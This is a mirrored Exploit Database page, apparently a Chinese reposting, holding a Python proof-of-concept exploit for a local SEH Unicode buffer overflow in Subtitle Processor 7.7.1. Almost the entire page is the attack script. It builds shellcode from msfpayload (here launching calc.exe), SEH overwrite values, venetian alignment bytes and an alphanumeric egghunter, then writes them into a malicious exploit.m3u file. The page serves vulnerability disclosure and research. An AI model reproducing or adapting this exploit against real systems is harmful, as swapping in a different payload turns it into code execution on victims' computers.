Subtitle Processor 7.7.1 – Local Buffer Overflow (SEH Unicode)

• Exploit Database
• 136 阅读

• 作者： Brandon Murphy
  日期： 2011-04-27
• 类别：

  • local
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/17217/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93

  #!/usr/bin/python # I wanted to first of all thank all the people who took the time to help me. # Peter Van Eeckhoutte AKA corelanc0d3r. Awesome tutorials and thanks for putting up with me! # Jason Kratzer. Thanks a lot for helping me finish this exploit and showing me techniques! # Subtitle Processor 7.7.1 SEH Unicode Buffer Overflow # Download: http://sourceforge.net/projects/subtitleproc/ # Version 7.7.1 # Author: Brandon Murphy # Tested on Windows XP Pro SP3 # Author notified of vulnerability by email 12/11/2010 # No reply from author: Released exploit to public 4/26/2011   print "#=========================================================#" print "#Subtitle Processor 7.7.1 SEH Unicode Buffer Overflow #" print "# Vulnerability found & exploit written by Brandon Murphy #" print "#Fallow: @MK1234Tfan#" print "#=========================================================#"   junk = "\x41" * 70 tag = "s1cks1ck"   # msfpayload windows/exec CMD=calc.exe 496 shellcode = ("\x89\xe5\xdd\xc2\xd9\x75\xf4\x5f\x57\x59\x49\x49\x49\x49\x43" "\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56\x58\x34" "\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41\x42\x41\x41" "\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x58" "\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4d\x38\x4d\x59\x43\x30" "\x45\x50\x45\x50\x45\x30\x4b\x39\x5a\x45\x50\x31\x58\x52\x43" "\x54\x4c\x4b\x50\x52\x56\x50\x4c\x4b\x56\x32\x54\x4c\x4c\x4b" "\x51\x42\x52\x34\x4c\x4b\x54\x32\x56\x48\x54\x4f\x4e\x57\x51" "\x5a\x56\x46\x56\x51\x4b\x4f\x56\x51\x49\x50\x4e\x4c\x47\x4c" "\x43\x51\x43\x4c\x45\x52\x56\x4c\x51\x30\x49\x51\x58\x4f\x54" "\x4d\x43\x31\x58\x47\x4b\x52\x5a\x50\x56\x32\x50\x57\x4c\x4b" "\x56\x32\x52\x30\x4c\x4b\x51\x52\x47\x4c\x45\x51\x58\x50\x4c" "\x4b\x47\x30\x43\x48\x4c\x45\x4f\x30\x43\x44\x51\x5a\x43\x31" "\x58\x50\x50\x50\x4c\x4b\x51\x58\x45\x48\x4c\x4b\x56\x38\x47" "\x50\x45\x51\x49\x43\x4b\x53\x47\x4c\x51\x59\x4c\x4b\x50\x34" "\x4c\x4b\x45\x51\x49\x46\x56\x51\x4b\x4f\x50\x31\x49\x50\x4e" "\x4c\x4f\x31\x58\x4f\x54\x4d\x45\x51\x49\x57\x50\x38\x4b\x50" "\x54\x35\x4c\x34\x45\x53\x43\x4d\x4c\x38\x47\x4b\x43\x4d\x56" "\x44\x54\x35\x5a\x42\x51\x48\x4c\x4b\x50\x58\x51\x34\x45\x51" "\x58\x53\x45\x36\x4c\x4b\x54\x4c\x50\x4b\x4c\x4b\x51\x48\x45" "\x4c\x43\x31\x58\x53\x4c\x4b\x54\x44\x4c\x4b\x45\x51\x4e\x30" "\x4b\x39\x51\x54\x47\x54\x51\x34\x51\x4b\x51\x4b\x43\x51\x50" "\x59\x50\x5a\x50\x51\x4b\x4f\x4b\x50\x51\x48\x51\x4f\x51\x4a" "\x4c\x4b\x54\x52\x5a\x4b\x4b\x36\x51\x4d\x52\x4a\x43\x31\x4c" "\x4d\x4d\x55\x4f\x49\x43\x30\x45\x50\x43\x30\x50\x50\x43\x58" "\x50\x31\x4c\x4b\x52\x4f\x4b\x37\x4b\x4f\x4e\x35\x4f\x4b\x5a" "\x50\x4e\x55\x4f\x52\x50\x56\x43\x58\x49\x36\x4c\x55\x4f\x4d" "\x4d\x4d\x4b\x4f\x58\x55\x47\x4c\x43\x36\x43\x4c\x54\x4a\x4d" "\x50\x4b\x4b\x4b\x50\x43\x45\x54\x45\x4f\x4b\x50\x47\x54\x53" "\x54\x32\x52\x4f\x43\x5a\x43\x30\x51\x43\x4b\x4f\x49\x45\x52" "\x43\x43\x51\x52\x4c\x45\x33\x56\x4e\x52\x45\x52\x58\x45\x35" "\x43\x30\x41\x41")   junk2 = "\x41" * 3531 nseh = "\x61\x62"   # ppr 005700b4 Subtitleprocessor.exe seh = "\xb4\x57"   # Venetian # Align: # add byte ptr [esi],ch - \x6e # pop ebp - \x55 # add byte ptr [esi],ch - \x6e # pop eax - \x58 # add byte ptr [esi],ch - \x6e # add eax,0x11001400 -\x05\x14\x11 # add byte ptr [esi],ch - \x6e # sub eax,0x11001300 -\x2d\x13\x11 # add byte ptr [esi],ch - \x6e # # Jump: # push eax - \x50 # add byte ptr [esi],ch - \x6e # ret - \xc3   align = "\x6e\x55\x6e\x58\x6e\x05\x14\x11\x6e\x2d\x13\x11\x6e" jmp = "\x50\x6e\xc3" junk3 = "\x44" * 108 egghunter = ("PPYA4444444444QATAXAZAPA3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA58A" "APAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABABAB30APB944JB1V3Q7ZKOLO0B0R1ZKR0X8MNNOLKU0Z2TJO6X2S011S2K4KJZ6O2U9Z6O2U9WKO9WKPA")   payload = junk + tag + shellcode + junk2 + nseh + seh + align + jmp + junk3 + egghunter try: make = open("exploit.m3u",&apos;w&apos;) make.write(payload) make.close() print "[+] Go Go Gadget SEH unicode!" except: print "[-] Something went wrong...</3"